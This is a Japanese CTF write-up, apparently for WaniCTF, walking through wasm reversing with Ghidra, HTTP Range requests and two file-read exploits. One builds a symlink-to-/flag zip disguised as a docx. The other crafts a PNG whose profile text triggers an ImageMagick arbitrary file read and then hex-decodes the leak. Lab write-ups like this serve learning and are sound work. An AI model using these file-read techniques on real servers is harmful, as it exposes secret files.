雰囲気で解いたので、reversingは結構適当です。

初めに、index.wasmにアクセスして.wasmファイルを手に入れます。

ghidra_wasmという拡張機能をghidraにインストールして、index.wasmをデコンパイルします。

unnamed_function_13を見ると、prompt_nameやprompt_passといった関数やCorrectIncorrectという文字列が見つかります。

undefined4 unnamed_function_13(void)

{
  undefined4 uVar1;
  uint uVar2;
  undefined local_88 [12];
  undefined local_7c [12];
  undefined local_70 [12];
  undefined local_64 [12];
  undefined local_58 [12];
  undefined local_4c [12];
  undefined local_40 [12];
  undefined local_34 [12];
  undefined local_28 [12];
  undefined local_1c [12];
  undefined local_10 [12];
  undefined4 local_4;
  
  local_4 = 0;
  unnamed_function_14(local_10,0x101a0);
  unnamed_function_14(local_1c,0x1024c);
  unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c);
  unnamed_function_14(local_34,0x101e6);
  unnamed_function_14(local_40,0x1006a);
  unnamed_function_14(local_4c,0x1011d);
  unnamed_function_14(local_58,0x10111);
  unnamed_function_14(local_64,0x100ca);
  unnamed_function_14(local_70,0x10000);
  uVar1 = import::env::prompt_name();
  unnamed_function_14(local_7c,uVar1);
  uVar1 = import::env::prompt_pass();
  unnamed_function_14(local_88,uVar1);
  uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d);
  uVar1 = unnamed_function_16(uVar1,local_7c);
  unnamed_function_18(uVar1,1);
  uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e);
  uVar1 = unnamed_function_16(uVar1,local_88);
  unnamed_function_18(uVar1,1);
  uVar2 = unnamed_function_19(local_7c,local_10);
  if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {
    uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a);
    unnamed_function_18(uVar1,1);
  }
  else {
    uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233);
    unnamed_function_18(uVar1,1);
    uVar1 = unnamed_function_16(0x143c4,local_28);
    uVar1 = unnamed_function_16(uVar1,local_34);
    uVar1 = unnamed_function_16(uVar1,local_40);
    uVar1 = unnamed_function_16(uVar1,local_4c);
    uVar1 = unnamed_function_16(uVar1,local_58);
    uVar1 = unnamed_function_16(uVar1,local_64);
    uVar1 = unnamed_function_16(uVar1,local_70);
    unnamed_function_18(uVar1,1);
    local_4 = 0;
  }
  unnamed_function_1563(local_88);
  unnamed_function_1563(local_7c);
  unnamed_function_1563(local_70);
  unnamed_function_1563(local_64);
  unnamed_function_1563(local_58);
  unnamed_function_1563(local_4c);
  unnamed_function_1563(local_40);
  unnamed_function_1563(local_34);
  unnamed_function_1563(local_28);
  unnamed_function_1563(local_1c);
  unnamed_function_1563(local_10);
  return local_4;
}

この中で、usernameとpasswordの判定は、

  uVar2 = unnamed_function_19(local_7c,local_10);
  if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {

この2行で行っていそうなことが分かります。

unnamed_function_19をざっと見ると、与えられた2つの引数が一致しているか確認するだけの関数であることが分かります。 local_7cloca_88はそれぞれ、ユーザが入力したusernameとpasswordであることが29行~32行から予想できるので、正しいusernameとpasswordはlocal_10local_1cに格納されていることが予想できます。

また、20行目~28行目の処理は第一引数に第二引数のアドレスにあるデータを格納しているように見えます。

  unnamed_function_14(local_10,0x101a0);
  unnamed_function_14(local_1c,0x1024c);
  unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c);
  unnamed_function_14(local_34,0x101e6);
  unnamed_function_14(local_40,0x1006a);
  unnamed_function_14(local_4c,0x1011d);
  unnamed_function_14(local_58,0x10111);
  unnamed_function_14(local_64,0x100ca);
  unnamed_function_14(local_70,0x10000);

実際に0x101a0と0x1024cを見ると、文字列が置いてあるのでこれをusername, passwordとして入力するとフラグが出力されました。

    ram:000101a0 63 6b 77        ds         "ckwajea" <- user name
                 61 6a 65 
                 61 00
                    ......
    ram:0001024c 66 65 61        ds         "feag5gwea1411_efae!!" <- password
                 67 35 67 
                 77 65 61 ...
(見やすくするためにData -> stringで文字列表示にしています)

Web

[Beginner] IndexedDB

開発者ツールを開いて、アプリケーション→IndexedDBを見ていくとフラグが書かれていました。

[Easy] Extract Service 1

Extract Service 2の解き方で解けたので、そちらを参照してください。

[Easy] 64bps

フラグが2GBのファイルの末尾にあり、通信速度が8byte/sに制限されているため、普通にアクセスすると無限に時間がかかります。 HTTPのRangeリクエストを使うことで、フラグの部分のみを取得することができます。

import requests

url = "https://64bps-web.wanictf.org/2gb.txt"

size = 2147483648

headers = {
    "Range": f"bytes={size}-"
}

res = requests.get(url, headers=headers)
print(res.text)
$ python3 solve.py
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

[Normal] Extract Service 2

/flagのシンボリックリンクをword/document.xmlという名前で作成し、zip圧縮します。

$ mkdir word
$ sudo ln -s /flag ./word/document.xml
$ zip -ry evil.zip ./word

後はこのzipファイルをdocxファイルとして送信すると、word/document.xmlを読みに行くときにflagを読んでくれます。

[Normal] certified1

kurenaifさんの動画でImageMagick脆弱性について解説している動画があったのを思い出して、それを参考に解きました。

以下のコマンドを実行してpngファイルを作成します。(hoge.pngは任意のpngファイル)

$ pngcrush -text a "profile" "/flag_A" hoge.png
$ exiv2 -pS pngout.png

この画像ファイルを送信して、得られた画像ファイル(ここではflag.pngとします)にidentifyを実行するとフラグが得られました。

$ identify -verbose flag.png
    ...
    Raw profile type:

      42
464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f
793075217d0a

    signature: 549eff32e5d5c8b6b5aa066cec9d1d72891c860f005c71a7a8d7fb8b161d7ce6
    ...
$ python3 -c 'print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a"))'
b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'

感想

WaniCTFは様々なジャンルの問題を幅広い難易度で提供してくれるので、毎回楽しみにしています。今回のCTFで、Crypto、Webが苦手だと再確認できたので、そろそろ真面目に勉強していきたいところです。

Wani Hackaseの皆様、楽しいCTFを開催していただき本当にありがとうございました!